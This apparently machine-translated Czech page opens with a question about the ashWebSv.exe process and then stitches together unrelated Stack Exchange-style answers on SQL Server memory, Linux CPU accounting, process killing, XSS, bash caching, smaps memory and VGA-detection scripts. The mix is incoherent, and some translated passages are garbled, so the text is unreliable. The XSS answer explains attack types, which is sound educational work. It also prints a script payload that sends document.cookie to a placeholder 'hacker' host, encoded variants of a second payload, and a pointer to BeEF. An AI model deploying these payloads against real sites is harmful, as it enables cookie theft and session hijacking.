Proces "ashWebSv.exe"



Co je za proces ashWebSv.exe? Když se podívám do správce úloh systému Windows, tak právě tento proces má nejvyšší využití paměti...
Zde se o tom píše: /jnp.zive.cz/?q=node/9313
<p>nejobsáhlejší software pro testování zátěže, který jsem našel, je <a href="http://bit.ly/4r8g2l">hp loadrunner</a> (omlouvám se za bit.ly odkaz, ale hp odkaz je hrozný a nebude fungovat správně). je velmi flexibilní a ze zátěžových testů můžete generovat mnoho různých typů zpráv. můžete také nechat skupinu strojů pracovat společně s testem zatížení. ne, že ostatní nástroje jsou špatné, ale vypadá to jako <a href="http://jakarta.apache.org/jmeter/">apache jmeter</a> vypadá jako hračka.</p> <p>nastavení maximální paměti sql serverů definuje limity pouze pro použití fondu vyrovnávacích pamětí. k tomuto limitu budou existovat variabilní, ale významné alokace.</p><p> <a href="http://sqlblog.com/blogs/jonathan\_kehayias/archive/2009/07/07/understanding-the-vas-reservation-aka-memtoleave-in-sql-server.aspx">jonathan kehayias's</a> , <a href="http://sqlblogcasts.com/blogs/christian/archive/2008/01/07/sql-server-memtoleave-vas-and-64-bit.aspx">christian bolton</a> a <a href="http://www.johnsansom.com/sql-server-memory-configuration-determining-memtoleave-settings/#axzz1edyfoxbs">john samson</a> mají na úrovni 300/400 příspěvků na toto téma. <a href="http://www.brentozar.com/archive/2011/09/sysadmins-guide-microsoft-sql-server-memory/">brent ozar</a> má lépe čitelný článek, který by mohl být lepším místem pro začátek.</p><p>také související: <a href="https://dba.stackexchange.com/questions/7060/sql-server-2008-r2-ghost-memory">sql server 2008 r2 „ghost memory“</a> </p> <p><code>hi</code> je čas strávený přerušením zpracování hardwaru. hardwarová přerušení jsou generována hardwarovými zařízeními (síťové karty, řadič klávesnice, externí časovač, hardwarové senzory, ...), když potřebují něco signalizovat do procesoru (například data dorazila).</p><p>protože k tomu může dojít velmi často a protože v podstatě blokují aktuální cpu, zatímco jsou spuštěny, jsou popisovače hardwarového přerušení jádra psány tak rychle, jak je to jen možné.</p><p>pokud je třeba provést dlouhé nebo složité zpracování, jsou tyto úkoly odloženy pomocí mechanického volání <code>softirqs</code>. jsou naplánovány nezávisle, mohou běžet na jakémkoli cpu, mohou běžet souběžně (nic z toho neplatí pro popisovače přerušení hardwaru).</p><p><sub>část o tvrdých irq blokujících aktuální procesor a část o tom, že <code>softirqs</code> budou moci běžet kdekoli, nejsou úplně správné, mohou existovat omezení a některé tvrdé irq mohou přerušit jiné.</sub></p><p>jako příklad lze uvést, že hardwarové přerušení ze síťové karty „přijatá data“ by mohlo jednoduše uložit informace „karta ethx musí být obsluhována“ a naplánovat <code>softirq</code>. <code>softirq</code> by byla věc, která spouští skutečné směrování paketů.</p><p><code>si</code> představuje čas strávený v těchto <code>softirqs</code>.</p><p>dobré čtení o mechanismu <code>softirq</code> (s trochou historie) je také <a href="https://www.cs.unca.edu/brock/classes/spring2013/csci331/notes/paper-1130.pdf">dělám to později: softirqs, tasklets, dolní poloviny, fronty úkolů, pracovní fronty a časovače</a> = (pdf, 64 kb).</p><p><code>st</code>, „ukrást čas“, je relevantní pouze ve virtualizovaných prostředích. představuje čas, kdy skutečný procesor nebyl k dispozici aktuálnímu virtuálnímu počítači - byl „odcizen“ z toho vm) hypervizorem (buď pro spuštění jiného vm, nebo pro vlastní potřeby).</p><p>dokument <a href="https://www.ibm.com/developerworks/linux/linux390/perf/tuning\_cputimes.html">cpu time accounting</a> od ibm obsahuje více informací o krádeži času a účetnictví cpu ve virtualizovaných prostředích. (zaměřuje se na hardware typu zseries, ale obecná myšlenka je stejná pro většinu platforem.)</p> <p>obecně byste měli použít <code>kill</code> (zkratka pro <code>kill -s term</code> nebo na většině systémů <code>kill -15</code>) před <code>kill -9</code> (<code>kill -s kill</code>) dát cílovému procesu šanci na vyčištění po sobě. (procesy nemohou chytit nebo ignorovat <code>sigkill</code>, ale mohou a často to chytí <code>sigterm</code>.) pokud nedáte procesu šanci dokončit to, co dělá a vyčistit, je to může nechat poškozené soubory (nebo jiný stav) kolem, že nebude schopen pochopit, jakmile restartujete.</p><p><code>strace</code>/<code>truss</code>, <code>ltrace</code> a <code>gdb</code> jsou obecně dobré nápady, jak zjistit, proč je zaseknutý proces zaseknutý. (<code>truss -u</code> na systému solaris je zvláště užitečné; <code>ltrace</code> příliš často předkládám argumenty pro volání z knihovny v nepoužitelném formátu.) solaris má také užitečné <code>/proc</code>- založené nástroje, z nichž některé byly přeneseny do linuxu. (<code>pstack</code> je často užitečný).</p> <p>děláme to úplně na <a href="http://smartystreets.com">smartystreets</a> . uživatelé nahrávají soubory s potenciálně miliony adres v nich a my je ověřujeme a standardizujeme/duplikujeme, atd. je to velmi náročné na procesor a dokonce i s kmenovými daty načtenými na jednotku ram, miliony adres zabere několik hodin (mimochodem, pro tuto částku je to velmi rychlé ...).</p><p>může být také důležité navrhnout uživatelské rozhraní, které může podporovat desítky úloh spuštěných paralelně. například naše serverové uzly se rozšiřují a můžeme podporovat mnoho souborů najednou. uživatelé budou potřebovat efektivní způsob, jak zobrazit stav a spravovat je. v roce 2011 jsme vylepšili naše uživatelské rozhraní a to je to, s čím jsme přišli.</p><hr><p> <a href="http://youtu.be/qdjsolatz4u?hd=1">zde je 30sekundové video</a> ukazující, jak celý proces funguje a jak rozhraní reaguje na aktuální stav úlohy (úloh). pokud chcete, můžete vyzkoušet sami od <a href="http://smartystreets.com/account/create">tato stránka</a> (zdarma, nebojte se ...).</p><hr><p>screenshoty pracovního postupu ... trvá asi 30 sekund až několik minut, v závislosti na vašich souborech.</p><p><img src="https://i.stack.imgur.com/egatr.png" alt="upload list"></p><p><em> nahrajte svůj seznam </em></p><p><img src="https://i.stack.imgur.com/kqkb9.png" alt="see the file uploading"></p><p><em> viz nahrání souboru </em></p><p><img src="https://i.stack.imgur.com/zv26q.png" alt="map the fields"></p><p><em> mapujte pole (probíhá automaticky; stačí potvrdit, že automatická mapa byla správná) </em></p><p><img src="https://i.stack.imgur.com/wodst.png" alt="stay up-to-date with the current status"></p><p><em> zůstaňte v kontaktu s tím, co se nyní děje </em></p><hr><p>všimněte si, že jakmile seznam začne zpracovávat, uživatel se může vrátit a nahrát více, které seznamy budou zpracovány paralelně v reálném čase. seznamy lze kdykoli zrušit/smazat a po dokončení je lze stáhnout. pokud byl seznam stažen alespoň jednou, zobrazí se zaškrtnutí.</p><p>toto je vlastně stárnoucí návrh, který plánujeme upgradovat. bude se to cítit spíš jako moderní, responzivní webová aplikace.</p><p>ještě stojí za zmínku, že jsme mnohokrát změnili vzhled stránky „dashboard“ účtu a tento návrh inicioval nejmenší volání/e-maily podpory a zákazníci to rádi viděli na první pohled. první uživatelé mají tendenci shledávat, že se s ním dostanou docela rychle.</p> <p><strong> xss - skriptování napříč stránkami (ale neomezeno na skutečné skriptování napříč stránkami) </strong></p><p>xss se obvykle prezentuje třemi různými způsoby:</p><p><strong> netrvalé (často nazývané odrážené xss) </strong></p><p>to je, když jste schopni vložit kód a server jej vrátí zpět, neanitizovaný. to lze často využít distribucí (obvykle nevinně vypadající) url v nějaké formě nebo způsobem, na který mohou ostatní kliknout.</p><p>to může být zvláště efektivní, když se zabýváte cílenými útoky na někoho. dokud můžete někoho přimět kliknout na adresu url, kterou jste odeslali, existuje šance, že v systému získáte zvýšená oprávnění.</p><p>příklad:</p><p>web obsahující vyhledávací pole nemá řádný dezinfekční vstup. vytvořením vyhledávacího dotazu vypadajícího takto:</p><pre><code>"&gt;&lt;script&gt;var+img=new+image();img.src="http://hacker/"%20+%20document.cookie;&lt;/script&gt; </code></pre><p>na druhém konci, na webovém serveru, budete přijímat hity, kde po dvojnásobku mezery je soubor cookie uživatelů. pokud správce klikne na odkaz, můžete mít štěstí, abyste mohli ukrást jejich id relace a hijack relaci.</p><p>použitím technik, jako je spamový e-mail, příspěvky do nástěnky, zprávy im, nástroje sociálního inženýrství, může být tato chyba zabezpečení velmi nebezpečná.</p><p><strong> založené na dom </strong></p><p>velmi podobné netrvalému, ale v případě, že se užitečné zatížení javascriptu nemusí opakovat z webového serveru. často se může jednat o to, že při načítání pomocí již existujícího javascriptu se na stránku za běhu opakuje jednoduše hodnota z parametru url.</p><p>příklad:</p><pre><code>http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie)&lt;/script&gt; </code></pre><p>zločinci samozřejmě upraví url tak, aby vypadala nevinněji. stejné užitečné zatížení jako výše jen kódováno jinak:</p><pre><code>http://victim/displayhelp.php?title=faq#&amp;#60&amp;#115&amp;#99&amp;#114&amp;#105 #112&amp;#116&amp;#62&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116&amp;#40&amp;#100&amp;#111&amp;#99&amp;#117&amp;#109 &amp;#101&amp;#110&amp;#116&amp;#46&amp;#99&amp;#111&amp;#111&amp;#107&amp;#105&amp;#101&amp;#41&amp;#60&amp;#47&amp;#115&amp;#99 &amp;#114&amp;#105&amp;#112&amp;#116&amp;#62 </code></pre><p>můžete dokonce maskovat lépe, když odesíláte e-mailovým klientům, kteří podporují html, jako je tento:</p><pre><code>&lt;a href="http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie) &lt;/script&gt;"&gt;http://victim/displayhelp.php?title=faq&lt;/a&gt; </code></pre><p><strong> perzistentní </strong></p><p>jakmile dokážete vydržet vektor xss, útok se stane mnohem nebezpečnějším velmi rychle. přetrvávající xss se odráží zpět ze serveru, obvykle proto, že byl xss uložen v databázovém poli nebo podobně. zvažte, zda je následující vstup uložen do databáze a poté vám je ve vašem profilu představí:</p><pre><code>&lt;input type="text" value="your name" /&gt; </code></pre><p>pokud jste schopni zajistit, aby aplikace přijímala a ukládala neanitizované vstupy, vše, co musíte udělat, je přimět ostatní uživatele, aby si prohlédli váš profil (nebo kde se xss odráží zpět).</p><p>tyto druhy xss mohou být nejen obtížně rozpoznatelné, ale velmi zničující pro systém. stačí se podívat na červ xss s názvem <a href="http://en.wikipedia.org/wiki/samy\_worm">samy worm</a> !</p><p>v počátečních dnech xss jste viděli tento druh zneužití ve všech návštěvních knihách, komunitách, uživatelských recenzích, chatovacích místnostech atd.</p><hr><p><strong> dva útočné vektory </strong></p><p>nyní, když znáte různé způsoby poskytování užitečného zatížení xss, rád bych zmínil několik útočných vektorů xss, které mohou být velmi nebezpečné:</p><ul> <li> <p>xss defacement</p> <p>defacence xss není obtížné dosáhnout. pokud je xss také perzistentní, může být pro sysadminy obtížné to zjistit. podívejte se na rsnake <a href="http://drwetter.eu/amazon/">stallowned</a> "útok", který odstranil amazonovu funkci náhledu knihy. docela vtipné čtení.</p> </li> <li> <p>cookie krást a únos relace</p> <p>stejně jako v jednom z výše uvedených příkladů, jakmile získáte přístup k souborům cookie uživatelů, můžete také získat citlivé informace. zachycení id relace může vést k únosu relace, což může zase vést ke zvýšeným oprávněním v systému.</p> </li> </ul><p>omlouváme se za dlouhý příspěvek. teď se zastavím. jak ale můžete vidět, xss je velmi velké téma. doufám, že jsem vám to trochu objasnil.</p><hr><p><strong> využití xss pomocí beef </strong></p><p>chcete-li snadno zjistit, jak lze xss využít, doporučuji vyzkoušet <a href="http://beefproject.com/">beef</a> , browser exploitation framework. jakmile je rozbalen a spuštěn na webovém serveru s podporou php=), můžete snadno zkusit simulaci oběti (tzv. zombie), kde si můžete velmi snadno vyzkoušet různá užitečná zatížení xss. :</p><ul> <li>lokální síť portscan</li> <li>pingsweep místní síť</li> <li>pošlete virus infikovaný applet, podepsaný a připraven</li> <li>odesílejte zprávy klientovi</li> <li>proveďte skype hovor</li> </ul><p>seznam pokračuje. doporučujeme vidět video na domovské stránce beef.</p><p><strong> update: </strong> udělal jsem <a href="http://www.securesolutions.no/xss-explained/">zápis na xss</a> na svém blogu, který popisuje xss. obsahuje trochu o historii xss, různých typech útoků a některých případech použití včetně beef a shank.</p> <p><code>bash</code> ukládá do mezipaměti úplnou cestu k příkazu. ověřením, že příkaz, který se pokoušíte provést, je hashovaný příkazem <code>type</code>:</p><pre><code>$ type svnsync svnsync is hashed (/usr/local/bin/svnsync) </code></pre><p>vymazání celé mezipaměti:</p><pre><code>$ hash -r </code></pre><p>nebo jen jeden záznam:</p><pre><code>$ hash -d svnsync </code></pre><p>další informace získáte na webu <code>help hash</code> a <code>man bash</code>.</p> <p>čisté stránky jsou stránky, které se od mapování nezměnily (textové sekce ze sdílených knihoven se obvykle čtou pouze z disku (je-li to nutné), nikdy se neupravují, takže budou na sdílených, čistých stránkách).<br> špinavé stránky jsou stránky, které nejsou čisté (tj. byly upraveny).</p><p>soukromé stránky jsou k dispozici pouze pro tento proces, sdílené stránky jsou mapovány jinými procesy<sup>*</sup>.</p><p>rss je celkový počet stránek, sdílených nebo ne sdílených, aktuálně mapovaných do procesu. takže <code>shared\_clean</code> + <code>shared\_dirty</code> by byla sdílená část rss (tj. část rss, která je také mapována do jiných procesů) a <code>private\_clean</code> + <code>private\_dirty</code> soukromá část rss (tj. mapována pouze v tomto procesu).</p><p>pss (poměrná velikost sdílené složky) je, jak jste popsali. soukromé stránky se sčítají tak, jak jsou, a velikost každého sdíleného mapování se dělí počtem procesů, které je sdílejí.<br> takže pokud měl proces 100 000 soukromých stránek, 500 000 stránek sdílených s jedním dalším procesem a 500 000 sdílených se čtyřmi dalšími procesy, pss by byla:</p><pre><code>100k + (500k / 2) + (500k / 5) = 450k </code></pre><p>další údaje:</p><ul> <li> <a href="http://lwn.net/articles/230975/">elc: kolik paměti aplikace skutečně používají?</a> </li> <li> <a href="http://www.kernel.org/doc/documentation/filesystems/proc.txt"><code>documentation/filesystems/proc.txt</code></a> ve zdroji jádra</li> <li> <a href="http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html"><code>man proc(5)</code></a> </li> <li> <a href="http://tldp.org/ldp/khg/hypernews/get/memory/linuxmm.html">přehled správy paměti linux</a> </li> <li> <a href="http://tldp.org/ldp/tlk/mm/memory.html">správa paměti</a> na tldp.org</li> <li> <a href="http://linux-mm.org/">linuxmm</a> </li> </ul><p>pokud jde o částky za celý proces:</p><ul> <li> <p><code>rss</code> může být (přibližně<sup>+</sup>) získané součtem položek <code>rss:</code> v <code>smaps</code> (nemusíte sčítat sdílené/soukromé sdílené/špinavé položky).</p> <pre><code>awk '/rss:/{ sum += $2 } end { print sum }' /proc/$$/smaps </code></pre></li> <li>hodnoty <code>pss:</code> můžete sčítat stejným způsobem, abyste získali globální proces <code>pss</code>.</li> <li><code>uss</code> není hlášeno v <code>smaps</code>, ale ve skutečnosti jde o součet soukromých mapování, takže je můžete získat stejným způsobem</li> </ul><p><sub><sup>*</sup>upozorňujeme, že stránka „sdílená s možností sdílení“ se počítá jako soukromé mapování, dokud není <em> skutečně </em> sdílena. tj. pokud v současné době existuje pouze jeden proces používající <code>libfoo</code>, textová část knihovny se objeví v <em> soukromých </em> mapování procesu. ve sdílených mapováních (a odstraněných ze soukromých) bude účtována pouze v případě, že/když jiný proces začne používat tuto knihovnu.</sub><br> <sub><sup>+</sup>hodnoty se nesčítají přesně pro všechny procesy. není si úplně jistý, proč ... promiňte.</sub></p> `SHOW FULL PROCESSLIST` Ukáže všechny připojené sezení a můžete vytáhnout seznam uživatelů z ní. <p><strong> poznámka: </strong> <em>toto bylo testováno na notebooku s grafickou kartou řízenou i915.</em></p><hr><h3>pozadí</h3><p><strong> poznámka: </strong> když je připojena nová obrazovka, do hostitele není odeslána žádná událost, zůstane to pravda i po mé poslední úpravě. jediným způsobem je tedy použít dotazování. snažím se, aby byly co nejefektivnější ...</p><h3>úprava # 3</h3><p>nakonec existuje jedno lepší řešení (prostřednictvím acpi):</p><p>stále neexistuje žádná událost, ale acpi se zdá být efektivnější než <code>xrandr</code> na dotaz. (poznámka: toto <strong> vyžaduje </strong> načtené moduly jádra acpi, ale nevyžaduje oprávnění root.</p><p>moje konečné řešení (pomocí bash):</p><pre><code>isvgaconnected() { local crtstate read -a &lt; /proc/acpi/video/vid/crt0/state crtstate test $(( ( ${crtstate[1]} &gt;&gt;4 ) ${1:+*-1+1} )) -ne 0 } </code></pre><p>nyní test:</p><pre><code>$ if isvgaconnected; then echo yes; else echo no; fi yes </code></pre><p>je zapojen, takže ho nyní odpojím:</p><pre><code>$ if isvgaconnected; then echo yes; else echo no; fi no </code></pre><p><strong> poznámka: </strong> <code>${1:+*-1+1}</code> povolit argument <em>boolean</em>: pokud <em>něco je přítomno</em>, odpověď by byla obrácena: <code>( crtstate &gt;&gt; 4 ) * -1 + 1</code>.</p><p>a závěrečný skript:</p><pre><code>#!/bin/bash export crtprocentry=/proc/acpi/video/vid/crt0/state isvgaconnected() { local crtstate read -a &lt; $crtprocentry crtstate test $(( ( ${crtstate[1]} &gt;&gt;4 ) ${1:+*-1+1} )) -ne 0 } delay=.1 unset switch isvgaconnected || switch=not while :;do while isvgaconnected $switch;do sleep $delay done if [ "$switch" ];then unset switch echo vga is connected # doing something while vga is connected else switch=not echo vga is not connected. # doing something else, maybe. fi done </code></pre><p><strong> upozornění: </strong> <em>lehčí než <code>xrandr</code>, ale ne nevýznamné</em> se zpožděním menším než <em>,02</em> sekund, bash skript půjde na začátek procesu jedlíci zdrojů (<code>top</code>)!</p><p>i když to stojí ~ 0,001 s:</p><pre><code>$ time read -a &lt;/proc/stat crtstat </code></pre><p>vyžaduje to ~ 0,030 s:</p><pre><code>$ read -a &lt; /proc/acpi/video/vid/crt0/state crtstate </code></pre><p>to je velké! takže v závislosti na tom, co potřebujete, lze <code>delay</code> rozumně nastavit mezi <code>0.5</code> a <code>2</code>.</p><h3>úprava # 2</h3><p>nakonec jsem něco našel:</p><p><strong> důležité vyloučení odpovědnosti: </strong> hraní s <code>/proc</code> a <code>/sys</code> záznamy mohou poškodit váš systém !!! takže na produkčních systémech nezkoušejte následující.</p><pre><code>mapfile watchfilelist &lt; &lt;( find /sys /proc -type f 2&gt;/dev/null | grep -i acpi\\\|i91 ) prompt=("/" "|" '\' '-'); l=0 while :; do mapfile watchstat &lt; &lt;( grep -h . ${watchfilelist[@]} 2&gt;/dev/null ) for ((i=0;i&lt;=${#watchstat[@]};i++)); do [ "${watchstat[i]}" == "${oldstat[i]}" ] || echo ${watchstat[i]} done oldstat=("${watchstat[@]}") sleep .5 printf "\r%s\r" ${prompt[l++]} [ $l -eq 4 ]&amp;&amp;l=0 done </code></pre><p>... po očištění nežádoucích záznamů:</p><pre><code>for ((i=0;i&lt;=${#watchfilelist[@]};i++)); do [[ "${watchfilelist[$i]}" =~ /sys/firmware/acpi/interrupts/sci ]] &amp;&amp; unset watchfilelist[$i] &amp;&amp; echo $i done </code></pre><p>to jsem dokázal přečíst:</p><pre><code>/proc/acpi/video/vid/crt0/state:state: 0x1d /proc/acpi/video/vid/crt0/state:state: 0x0d /proc/acpi/video/vid/crt0/state:state: 0x1d </code></pre><p>když připojím, odpojte a znovu zapojte kabel monitoru.</p><p>při dotazu na konfiguraci (spuštění <code>system/preferences/monitor</code> nebo <code>xrandr</code>), grafické karty udělají typ <em>scan</em>, takže běží <code>xrandr -q</code> vám dá informace, ale musíte zjistit stav.</p><p>prohledal jsem všechny protokoly (jádro, démona, x atd.) prohledávajícím <code>/proc</code> &amp; <code>/sys</code> a zjevně se zdá, že neexistuje nic, co by vyhovovalo vaší žádosti.</p><p>zkusil jsem to také:</p><pre><code>export spc50="$(printf "%50s" "")" watch -n1 ' find /proc/acpi/video -type f | xargs grep -h . | sed "s/^\([^:]*):/\1'$spc50'}:/; s/^\(.\{50\}\) *:/\1 /"' </code></pre><p>po tom všem, když spustíte <code>system/preferences/monitor</code> zatímco nebyla připojena žádná nová obrazovka ani odpojena, bude se nástroj zobrazovat jednoduše (normálně). ale pokud jste již dříve připojili nebo odpojili obrazovku, občas spustíte tento nástroj a uvidíte, že na ploše vytvoříte typ <em>reset</em> ​​nebo <em>obnovit</em> ​​(stejný pokud spustíte <code>xrandr</code>).</p><p>zdá se, že to potvrzuje, že tento nástroj požádá o <code>xrandr</code> (nebo pracuje stejným způsobem) pravidelným dotazováním na stav, počínaje okamžikem jeho spuštění.</p><p>můžete vyzkoušet sami:</p><pre><code>$ for ((i=10;i--;)); do xrandr -q | grep ' connected' | wc -l; sleep 1; done 1 1 1 2 2 2 1 1 1 1 </code></pre><p>tím se na 10 sekund zobrazí počet připojených obrazovek (displejů).</p><p>zatímco to běží, připojte a/nebo odpojte obrazovku/monitor a podívejte se, co se děje. takže byste mohli vytvořit malou testovací funkci bash:</p><pre><code>isvgaconnected() { local xrandr=$(xrandr -q) [ "$xrandr" == "${xrandr#*vga1 con}" ] || return 0 return 1 } </code></pre><p>který by byl použitelný jako v:</p><pre><code>$ if isvgaconnected; then echo yes; fi </code></pre><p>ale buďte opatrní, <code>xrandr</code> trvá asi <strong> 0,140 s do 0.200 s </strong>, zatímco na zástrčkách nedojde k žádné změně a do <strong> 0,770 sekund </strong> kdykoli něco bylo připojeno nebo odpojeno těsně před (<strong> poznámka: </strong> zdá se, že to není zdrojový zdroj).</p><h3>úprava # 1</h3><p>abych zajistil, že neučím něco nesprávného, ​​prohledával jsem web a dokumenty, ale nenašel jsem nic o <em>dbus and screens</em>.</p><p>nakonec jsem běžel ve dvou různých oknech <code>dbus-monitor --system</code> (hrál jsem také s možnostmi) a malý skript, který jsem napsal:</p><pre><code>$ for ((i=1000;i--;)); do isvgaconnected &amp;&amp; echo yes || echo no; sleep .5; done </code></pre><p>... a znovu zapojen, než odpojen monitor, mnohokrát. takže teď mohu říci:</p><ul> <li><em>v této konfiguraci <strong> pomocí ovladače i915 </strong> neexistuje jiný způsob, než spustit <code>xrandr -q</code> vědět, zda je monitor připojen nebo ne.</em></li> </ul><p>ale buďte opatrní, protože se nejeví jiné způsoby. například se zdá, že <code>xrandr</code> tyto informace sdílí, takže moje plocha gnome by se automaticky přepnula na <code>xinerama</code> automaticky ... <strong>, když jsem běžel <code>xrandr</code> </strong>.</p><h3>některé dokumenty</h3><ul> <li> <a href="https://wiki.archlinux.org/index.php/xrandr#toggle\_external\_monitor">skript pro přepínání interního/externího displeje pro notebooky</a> </li> <li> <a href="http://www.x.org/docs/intel/hd/ihd\_os\_vol\_3\_part4\_bjs.pdf">®intel hd graphics opensource programmer's reference manual</a> </li> </ul>